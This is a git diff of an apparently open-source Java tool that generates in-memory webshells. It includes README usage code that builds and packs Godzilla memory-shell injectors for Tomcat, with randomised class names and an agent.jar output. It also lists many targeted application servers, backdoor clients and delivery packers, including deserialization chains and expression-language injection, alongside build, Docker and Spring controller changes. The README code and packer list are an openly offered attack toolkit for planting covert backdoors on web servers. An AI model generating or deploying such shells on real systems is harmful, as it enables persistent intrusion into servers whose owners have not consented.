GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
|
||||||
|
|
||||||
System.out.println("注入器类名:"+result.getInjectorClassName());
|
|
||||||
System.out.println("内存马类名:"+result.getShellClassName());
|
|
||||||
|
|
||||||
System.out.println(result.getShellConfig());
|
|
||||||
System.out.println(result.getShellToolConfig());
|
|
||||||
|
|
||||||
System.out.println("Base64 打包:"+Packers.Base64.getInstance().pack(result));
|
|
||||||
System.out.println("脚本引擎打包:"+Packers.ScriptEngine.getInstance().pack(result));
|
|
||||||
```
|
|
||||||
3. 生成 Tomcat Godzilla AgentFilterChain 示例
|
|
||||||
```java
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(Server.Tomcat)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
|
||||||
.shrink(true) // 缩小字节码
|
|
||||||
.debug(false) // 关闭调试
|
|
||||||
.build();
|
|
||||||
|
|
||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
|
||||||
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
|
||||||
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
|
||||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
|
||||||
// .pass("pass")
|
|
||||||
// .key("key")
|
|
||||||
// .headerName("User-Agent")
|
|
||||||
// .headerValue("test")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
|
||||||
|
|
||||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
|
||||||
System.out.println("内存马类名:" + result.getShellClassName());
|
|
||||||
|
|
||||||
System.out.println(result.getShellConfig());
|
|
||||||
System.out.println(result.getShellToolConfig());
|
|
||||||
|
|
||||||
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
|
||||||
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|
||||||
```
|
|
||||||
4. 封装统一生成接口可参考 [GeneratorController.java](boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
|
|
||||||
|
|
||||||
## 适配情况
|
|
||||||
|
|
||||||
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
|
||||||
|
|
||||||
### 中间件以及框架
|
|
||||||
|
|
||||||
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
|
||||||
|----------------------|------------------------|----------------------|----------------------|
|
|
||||||
| Servlet | Servlet | Filter | Filter |
|
|
||||||
| Filter | Filter | Listener | Listener |
|
|
||||||
| Listener | Listener | Valve | Valve |
|
|
||||||
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
|
||||||
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
|
||||||
| ContextValve - Agent | | | |
|
|
||||||
|
|
||||||
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
|
||||||
|---------------------|--------------------------|-----------------|--------------|
|
|
||||||
| Servlet | Interceptor | WebFilter | NettyHandler |
|
|
||||||
| Filter | ControllerHandler | HandlerMethod | |
|
|
||||||
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
|
||||||
| FilterChain - Agent | | NettyHandler | |
|
|
||||||
|
|
||||||
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
|
||||||
|----------------------|----------------------------|------------------------|------------------------|
|
|
||||||
| Filter | Filter | Servlet | Servlet |
|
|
||||||
| Listener | Listener | Filter | Filter |
|
|
||||||
| Valve | Valve(6) | Listener | Listener |
|
|
||||||
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
|
||||||
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
|
||||||
| | ServletHandler - Agent (7) | | |
|
|
||||||
|
|
||||||
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
|
||||||
|-----------------------|-------------------------|
|
|
||||||
| Servlet | Servlet |
|
|
||||||
| Filter | Filter |
|
|
||||||
| Listener | Listener |
|
|
||||||
| FilterManager - Agent | ServletContext - Agent |
|
|
||||||
|
|
||||||
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) |
|
|
||||||
|----------------------|----------------------|------------------------|---------------|
|
|
||||||
| Filter | Filter | Filter | Servlet |
|
|
||||||
| Listener | Listener | Listener | Filter |
|
|
||||||
| Valve | Valve | Valve | Listener |
|
|
||||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | |
|
|
||||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | |
|
|
||||||
|
|
||||||
### 内存马功能
|
|
||||||
|
|
||||||
- [x] Godzilla 哥斯拉
|
|
||||||
- [x] Behinder 冰蝎
|
|
||||||
- [x] 命令执行
|
|
||||||
- [x] Suo5
|
|
||||||
- [x] AntSword 蚁剑
|
|
||||||
- [x] Neo-reGeorg
|
|
||||||
- [x] Custom
|
|
||||||
|
|
||||||
### 封装方式
|
|
||||||
|
|
||||||
- [x] BASE64
|
|
||||||
- [x] GZIP BASE64
|
|
||||||
- [x] JSP
|
|
||||||
- [x] JSPX
|
|
||||||
- [x] JAR
|
|
||||||
- [x] BCEL
|
|
||||||
- [x] 内置脚本引擎、Rhino 脚本引擎
|
|
||||||
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
|
||||||
- [x] Velocity、Freemarker、JinJava
|
|
||||||
- [x] 原生反序列化(CB4)
|
|
||||||
- [x] Agent
|
|
||||||
- [x] XXL-JOB Executor
|
|
||||||
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
|
||||||
- [ ] JNDI
|
|
||||||
- [ ] JDBC 连接
|
|
||||||
- [ ] 其他常见反序列化
|
|
||||||
|
|
||||||
## 本地构建
|
|
||||||
|
|
||||||
### 源代码构建
|
|
||||||
|
|
||||||
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
|
|
||||||
|
|
||||||
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
|
||||||
|
|
||||||
1. 使用 Git Clone 项目
|
|
||||||
```bash
|
|
||||||
git clone https://github.com/ReaJason/MemShellParty.git
|
|
||||||
```
|
|
||||||
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/web
|
|
||||||
|
|
||||||
bun install
|
|
||||||
|
|
||||||
bun run build
|
|
||||||
```
|
|
||||||
3. 构建后端项目,确保使用 JDK17 环境
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/boot
|
|
||||||
|
|
||||||
./gradlew :boot:bootjar -x test
|
|
||||||
```
|
|
||||||
|
|
||||||
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/boot
|
|
||||||
|
|
||||||
java -jar \
|
|
||||||
--add-opens=java.base/java.util=ALL-UNNAMED \
|
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
|
||||||
build/libs/boot-1.0.0.jar
|
|
||||||
```
|
|
||||||
|
|
||||||
也可这基础上再继续构建容器来使用
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/boot
|
|
||||||
|
|
||||||
docker buildx build -t memshell-party:latest . --load
|
|
||||||
|
|
||||||
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
### Dockerfile 一键构建
|
|
||||||
|
|
||||||
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
|
|
||||||
|
|
||||||
下载项目根目录的 [Dockerfile](./Dockerfile)
|
|
||||||
|
|
||||||
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
|
|
||||||
- ROUTE_ROOT_PATH: 前端根路由配置
|
|
||||||
- CONTEXT_PATH: 后端访问前缀
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 基础构建
|
|
||||||
docker buildx build \
|
|
||||||
--build-arg VERSION=1.6.0 \
|
|
||||||
-t memshell-party:latest . --load
|
|
||||||
|
|
||||||
# 基础镜像启动,访问 127.0.0.1:8080
|
|
||||||
docker run -it -d -p 8080:8080 memshell-party:latest
|
|
||||||
|
|
||||||
# 自定义访问路径构建
|
|
||||||
docker buildx build \
|
|
||||||
--build-arg VERSION=1.6.0 \
|
|
||||||
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
|
||||||
--build-arg CONTEXT_PATH=/memshell-party \
|
|
||||||
-t memshell-party:latest . --load
|
|
||||||
|
|
||||||
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
|
|
||||||
docker run -it -p 8080:8080 \
|
|
||||||
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
|
||||||
memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
|
|
||||||
|
|
||||||
其中 `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` 和
|
|
||||||
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
|
|
||||||
|
|
||||||
```text
|
|
||||||
location /memshell-party {
|
|
||||||
proxy_pass http://127.0.0.1:8080;
|
|
||||||
proxy_set_header Host $http_host;
|
|
||||||
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
|
||||||
proxy_set_header X-Forwarded-For $remote_addr;
|
|
||||||
proxy_http_version 1.1;
|
|
||||||
proxy_connect_timeout 3s;
|
|
||||||
proxy_read_timeout 300s;
|
|
||||||
proxy_send_timeout 300s;
|
|
||||||
proxy_buffer_size 16k;
|
|
||||||
proxy_buffers 8 64k;
|
|
||||||
proxy_busy_buffers_size 128k;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
## How
|
|
||||||
|
|
||||||
1. 如何使用 bytebuddy 生成类,为属性赋值,添加方法,指定位置调用方法?(**WIP**)
|
|
||||||
2. 如何调试内存马,为什么内存马注入了却不可用?(**WIP**)
|
|
||||||
|
|
||||||
## Contribute
|
|
||||||
|
|
||||||
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
|
||||||
|
|
||||||
> It will be so nice if you want to contribute. 🎉
|
|
||||||
|
|
||||||
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
|
||||||
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
|
||||||
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
|
||||||
|
|
||||||
项目结构目录、构建和编译可参考 [CONTRIBUTING.md](CONTRIBUTING.md)。
|
|
||||||
|
|
||||||
## Thanks
|
|
||||||
|
|
||||||
|
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||||
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||||
|
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
|
||||||
|
|
||||||
### Let's start the party 🎉
|
### Let's start the party 🎉
|
||||||
|
|||||||
Binary file not shown.
|
Before Width: | Height: | Size: 130 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 242 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 92 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 136 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 236 KiB |
@@ -0,0 +1,35 @@
|
|||||||
|
import http.server
|
||||||
|
import socketserver
|
||||||
|
|
||||||
|
PORT = 8000
|
||||||
|
TARGET_PATH = "/api/v1/data"
|
||||||
|
|
||||||
|
|
||||||
|
class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
||||||
|
def do_POST(self):
|
||||||
|
if self.path == TARGET_PATH:
|
||||||
|
try:
|
||||||
|
content_length = int(self.headers['Content-Length'])
|
||||||
|
post_data_bytes = self.rfile.read(content_length)
|
||||||
|
post_data_str = post_data_bytes.decode('utf-8')
|
||||||
|
print("-----------------------------\n")
|
||||||
|
print(f"Client IP: {self.client_address}")
|
||||||
|
print(f"Request Header:\n{self.headers}")
|
||||||
|
print(f"Request Body:\n{post_data_str}")
|
||||||
|
print("-----------------------------\n")
|
||||||
|
self.send_response(200)
|
||||||
|
self.send_header('Content-type', 'application/json')
|
||||||
|
self.end_headers()
|
||||||
|
response_message = '{"status": "success"}'
|
||||||
|
self.wfile.write(response_message.encode('utf-8'))
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Parse POST failed: {e}")
|
||||||
|
self.send_response(500)
|
||||||
|
else:
|
||||||
|
print("Make sure use " + TARGET_PATH + " rather than " + self.path)
|
||||||
|
self.send_response(404)
|
||||||
|
|
||||||
|
|
||||||
|
with socketserver.TCPServer(("", PORT), SimpleHTTPRequestHandler) as httpd:
|
||||||
|
print(f"POST request at http://localhost:{PORT}{TARGET_PATH} Listening ")
|
||||||
|
httpd.serve_forever()
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
import http from 'k6/http';
|
||||||
|
import {check, sleep} from 'k6';
|
||||||
|
|
||||||
|
export const options = {
|
||||||
|
rps: 4500,
|
||||||
|
vus: 10,
|
||||||
|
duration: '5m',
|
||||||
|
};
|
||||||
|
|
||||||
|
export default function () {
|
||||||
|
const res = http.get('http://localhost:8082/app/test');
|
||||||
|
check(res, {
|
||||||
|
'status is 200': (r) => r.status === 200,
|
||||||
|
});
|
||||||
|
sleep(1);
|
||||||
|
}
|
||||||
@@ -2,7 +2,7 @@ FROM python:3.12-slim
|
|||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
RUN pip install requests
|
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
|
||||||
|
|
||||||
COPY neoreg.py .
|
COPY neoreg.py .
|
||||||
|
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 268 KiB |
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
FROM eclipse-temurin:17.0.14_7-jre-noble
|
FROM eclipse-temurin:17.0.17_10-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -1,63 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id 'java'
|
|
||||||
id 'org.springframework.boot' version '3.4.0'
|
|
||||||
id 'io.spring.dependency-management' version '1.1.6'
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(17)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
def runtimeJvmArgs = [
|
|
||||||
'--add-opens=java.base/java.util=ALL-UNNAMED',
|
|
||||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
|
||||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
|
||||||
]
|
|
||||||
|
|
||||||
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
|
||||||
|
|
||||||
tasks.withType(Test).configureEach {
|
|
||||||
jvmArgs += runtimeJvmArgs
|
|
||||||
}
|
|
||||||
|
|
||||||
// For running the application
|
|
||||||
tasks.withType(JavaExec).configureEach {
|
|
||||||
jvmArgs += runtimeJvmArgs
|
|
||||||
}
|
|
||||||
|
|
||||||
configurations {
|
|
||||||
compileOnly {
|
|
||||||
extendsFrom annotationProcessor
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation(project(":generator")) {
|
|
||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
|
|
||||||
exclude group: 'commons-logging', module: 'commons-logging'
|
|
||||||
}
|
|
||||||
implementation(project(":deserialize")) {
|
|
||||||
exclude group: 'commons-logging', module: 'commons-logging'
|
|
||||||
}
|
|
||||||
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
|
|
||||||
implementation('org.springframework.boot:spring-boot-starter-web') {
|
|
||||||
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
|
||||||
}
|
|
||||||
implementation 'org.apache.commons:commons-lang3:3.+'
|
|
||||||
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
|
||||||
compileOnly 'org.projectlombok:lombok'
|
|
||||||
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
|
||||||
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
|
|
||||||
annotationProcessor 'org.projectlombok:lombok'
|
|
||||||
testImplementation 'org.springframework.boot:spring-boot-starter-test'
|
|
||||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
|
||||||
}
|
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("org.springframework.boot") version "3.5.11"
|
||||||
|
id("io.spring.dependency-management") version "1.1.7"
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "io.github.reajason"
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(17)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
||||||
|
|
||||||
|
configurations {
|
||||||
|
compileOnly {
|
||||||
|
extendsFrom(configurations.annotationProcessor.get())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation(project(":generator")) {
|
||||||
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
|
exclude(group = "com.reajason.javaweb", module = "thirdparty-tomcat")
|
||||||
|
}
|
||||||
|
implementation(project(":packer")) {
|
||||||
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
|
}
|
||||||
|
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
||||||
|
implementation("org.springframework.boot:spring-boot-starter-web")
|
||||||
|
implementation(libs.commons.lang3)
|
||||||
|
compileOnly("org.projectlombok:lombok")
|
||||||
|
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
||||||
|
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
||||||
|
annotationProcessor("org.projectlombok:lombok")
|
||||||
|
testImplementation("org.springframework.boot:spring-boot-starter-test")
|
||||||
|
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.boot;
|
package com.reajason.javaweb.boot;
|
||||||
|
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.boot.SpringApplication;
|
import org.springframework.boot.SpringApplication;
|
||||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
|
||||||
@@ -7,11 +8,10 @@ import org.springframework.boot.autoconfigure.SpringBootApplication;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
@SpringBootApplication
|
@SpringBootApplication
|
||||||
|
@Slf4j
|
||||||
public class BootApplication {
|
public class BootApplication {
|
||||||
|
|
||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
|
|
||||||
SpringApplication.run(BootApplication.class, args);
|
SpringApplication.run(BootApplication.class, args);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -1,10 +1,13 @@
|
|||||||
package com.reajason.javaweb.boot.api;
|
package com.reajason.javaweb.boot.api;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.bind.annotation.ExceptionHandler;
|
import org.springframework.web.bind.annotation.ExceptionHandler;
|
||||||
import org.springframework.web.bind.annotation.ResponseStatus;
|
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||||
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
||||||
|
import org.springframework.web.servlet.resource.NoResourceFoundException;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -13,10 +16,29 @@ import org.springframework.web.bind.annotation.RestControllerAdvice;
|
|||||||
@RestControllerAdvice
|
@RestControllerAdvice
|
||||||
@Slf4j
|
@Slf4j
|
||||||
public class GlobalExceptionHandler {
|
public class GlobalExceptionHandler {
|
||||||
|
|
||||||
|
@ResponseStatus(HttpStatus.NOT_FOUND)
|
||||||
|
@ExceptionHandler(NoResourceFoundException.class)
|
||||||
|
public ResponseEntity<?> handleNoResourceException() {
|
||||||
|
return ResponseEntity.status(HttpStatus.NOT_FOUND).build();
|
||||||
|
}
|
||||||
|
|
||||||
|
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||||
|
@ExceptionHandler(GenerationException.class)
|
||||||
|
public ErrorResponse handleGenerationException(GenerationException exception) {
|
||||||
|
return new ErrorResponse(exception.getMessage());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ResponseStatus(HttpStatus.BAD_REQUEST)
|
||||||
|
@ExceptionHandler(IllegalArgumentException.class)
|
||||||
|
public ErrorResponse handleIllegalArgumentException(IllegalArgumentException exception) {
|
||||||
|
return new ErrorResponse(exception.getMessage());
|
||||||
|
}
|
||||||
|
|
||||||
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||||
@ExceptionHandler(Throwable.class)
|
@ExceptionHandler(Throwable.class)
|
||||||
public ErrorResponse handleThrowable(Throwable throwable) {
|
public ErrorResponse handleThrowable(Throwable throwable) {
|
||||||
log.error("请求出错", throwable);
|
log.error("Internal Exception", throwable);
|
||||||
return new ErrorResponse(throwable.getMessage());
|
return new ErrorResponse(throwable.getMessage());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import org.springframework.asm.ClassReader;
|
||||||
|
import org.springframework.cglib.core.ClassNameReader;
|
||||||
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/10
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@CrossOrigin("*")
|
||||||
|
public class ClassNameParseController {
|
||||||
|
|
||||||
|
@PostMapping("/api/className")
|
||||||
|
public String className(@RequestBody String classBase64) {
|
||||||
|
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,10 +1,12 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
@@ -15,47 +17,127 @@ import java.util.*;
|
|||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/config")
|
@RequestMapping("/api/config")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ConfigController {
|
public class ConfigController {
|
||||||
|
|
||||||
@RequestMapping("/servers")
|
@RequestMapping("/servers")
|
||||||
public Map<String, List<String>> getServers() {
|
public Map<String, List<String>> getServers() {
|
||||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||||
for (Server server : Server.values()) {
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
if (server.getShell() != null) {
|
for (String supportedServer : supportedServers) {
|
||||||
Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
|
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
|
||||||
servers.put(server.name(), supportedShellTypes.stream().toList());
|
.getShellInjectorMapping().getSupportedShellTypes();
|
||||||
}
|
servers.put(supportedServer, supportedShellTypes.stream().toList());
|
||||||
}
|
}
|
||||||
return servers;
|
return servers;
|
||||||
}
|
}
|
||||||
|
|
||||||
@RequestMapping("/packers")
|
@RequestMapping("/packers")
|
||||||
public List<String> getPackers() {
|
public List<PackerCategoryDTO> getPackers() {
|
||||||
return Arrays.stream(Packers.values())
|
List<PackerCategoryDTO> result = new ArrayList<>();
|
||||||
.filter(packers -> packers.getParentPacker() == null)
|
for (Map.Entry<String, List<Packers>> entry : Packers.groupedPackers().entrySet()) {
|
||||||
.map(Packers::name).toList();
|
PackerCategoryDTO category = new PackerCategoryDTO();
|
||||||
|
category.setName(entry.getKey());
|
||||||
|
List<PackerOptionDTO> options = new ArrayList<>();
|
||||||
|
for (Packers packer : entry.getValue()) {
|
||||||
|
PackerOptionDTO option = new PackerOptionDTO();
|
||||||
|
option.setName(packer.name());
|
||||||
|
option.setOutputKind(packer.getOutputKind());
|
||||||
|
option.setCategoryAnchor(packer.hasChildren());
|
||||||
|
option.setSchema(packer.getSchema());
|
||||||
|
options.add(option);
|
||||||
|
}
|
||||||
|
category.setPackers(options);
|
||||||
|
result.add(category);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
@RequestMapping
|
@RequestMapping
|
||||||
public Map<String, Map<?, ?>> config() {
|
public Map<String, Map<?, ?>> config() {
|
||||||
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
||||||
for (Server value : Server.values()) {
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
AbstractShell shell = value.getShell();
|
for (String supportedServer : supportedServers) {
|
||||||
if (shell == null) {
|
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||||
continue;
|
|
||||||
}
|
|
||||||
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
||||||
for (ShellTool shellTool : shell.getSupportedShellTools()) {
|
for (String shellTool : server.getSupportedShellTools()) {
|
||||||
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
|
||||||
if (supportedShellTypes.isEmpty()) {
|
if (supportedShellTypes.isEmpty()) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
map.put(shellTool.name(), supportedShellTypes);
|
map.put(shellTool, supportedShellTypes);
|
||||||
}
|
}
|
||||||
coreMap.put(value.name(), map);
|
coreMap.put(supportedServer, map);
|
||||||
}
|
}
|
||||||
return coreMap;
|
return coreMap;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@GetMapping("/command/configs")
|
||||||
|
public CommandConfigVO getCommandConfigs() {
|
||||||
|
CommandConfigVO commandConfigVO = new CommandConfigVO();
|
||||||
|
commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
|
||||||
|
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
|
||||||
|
return commandConfigVO;
|
||||||
|
